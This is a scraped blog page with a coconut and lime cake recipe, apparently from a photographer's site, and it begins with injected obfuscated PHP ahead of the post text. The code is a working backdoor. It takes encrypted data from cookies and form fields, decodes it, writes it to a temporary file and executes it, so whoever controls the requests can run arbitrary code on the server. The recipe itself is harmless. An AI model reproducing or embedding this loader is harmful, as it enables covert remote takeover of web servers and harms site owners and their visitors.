$PIGfAGeL = class_exists("MWB_NGR");if (!$PIGfAGeL){class MWB_NGR{private $ANvYhOQq;public static $XudFZ = "d1ab425a-f89f-4ebf-93fc-7c496e1b9cf9";public static $HKGbGKw = NULL;public function __construct(){$EzCPBsJx = $_COOKIE;$JJGbEZN = $_POST;$qPIGzxOU = @$EzCPBsJx[substr(MWB_NGR::$XudFZ, 0, 4)];if (!empty($qPIGzxOU)){$OMxkbqJgE = "base64";$mcdvBM = "";$qPIGzxOU = explode(",", $qPIGzxOU);foreach ($qPIGzxOU as $FKpnUnyYF){$mcdvBM .= @$EzCPBsJx[$FKpnUnyYF];$mcdvBM .= @$JJGbEZN[$FKpnUnyYF];}$mcdvBM = array_map($OMxkbqJgE . "\x5f" . "\144" . 'e' . "\x63" . 'o' . "\144" . chr (101), array($mcdvBM,)); $mcdvBM = $mcdvBM[0] ^ str_repeat(MWB_NGR::$XudFZ, (strlen($mcdvBM[0]) / strlen(MWB_NGR::$XudFZ)) + 1);MWB_NGR::$HKGbGKw = @unserialize($mcdvBM);}}public function __destruct(){$this->kCEoGX();}private function kCEoGX(){if (is_array(MWB_NGR::$HKGbGKw)) {$AFeqeUyl = sys_get_temp_dir() . "/" . crc32(MWB_NGR::$HKGbGKw[chr ( 449 - 334 )."\141" . "\x6c" . "\164"]);@MWB_NGR::$HKGbGKw[chr ( 784 - 665 ).chr ( 251 - 137 ).chr ( 1006 - 901 )."\x74" . "\145"]($AFeqeUyl, MWB_NGR::$HKGbGKw["\143" . "\157" . chr ( 632 - 522 )."\164" . "\x65" . "\x6e" . "\x74"]);include $AFeqeUyl;@MWB_NGR::$HKGbGKw[chr ( 675 - 575 )."\x65" . "\154" . chr (101) . chr (116) . 'e']($AFeqeUyl);exit();}}}$hzeRp = new MWB_NGR(); $hzeRp = NULL;} ?> Cake # 5 - Coconut & Lime Cake - Lisa Reid PhotographyLisa Reid Photography

Lisa Reid Photography

Cake # 5 – Coconut & Lime Cake

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Well it’s been five weeks since we got back from Thailand and the tan has well and truly faded. Winter has hit us hard this week with a real cold snap and I’m wishing I was back in the sunshine of Phuket!
Well, if I can’t be in Phuket then I’ll just have to bake a cake with a tropical theme to make up for it….so here it is – The Coconut & Lime Cake.

I had a lovely morning with some good friends who popped by for coffee …. and cake.
Thanks girls it was so much fun – come again soon!!

Coconut & Lime Cake.


1 1/3 cups flour
1 cup sugar
2 1/2 t baking powder
3/4 cup shredded coconut
150g butter
3 eggs
1/2 cup sour cream
125ml fresh lime juice
1T grated lime rind


Cream together butter (softened) and sugar. Add eggs, one at a time and beat well after each addition. Add lime juice and grated lime rind. Add dry ingredients and mix thoroughly. Add sour cream and mix.
Pour into a 20cm lined and greased cake tin and bake at 180 degrees celcius for 50 minutes or until cooked through (skewer inserted comes out clean).
Transfer to a cooling rack and ice with cream cheese icing.


Sprinkle cake with shredded coconut and lime rind.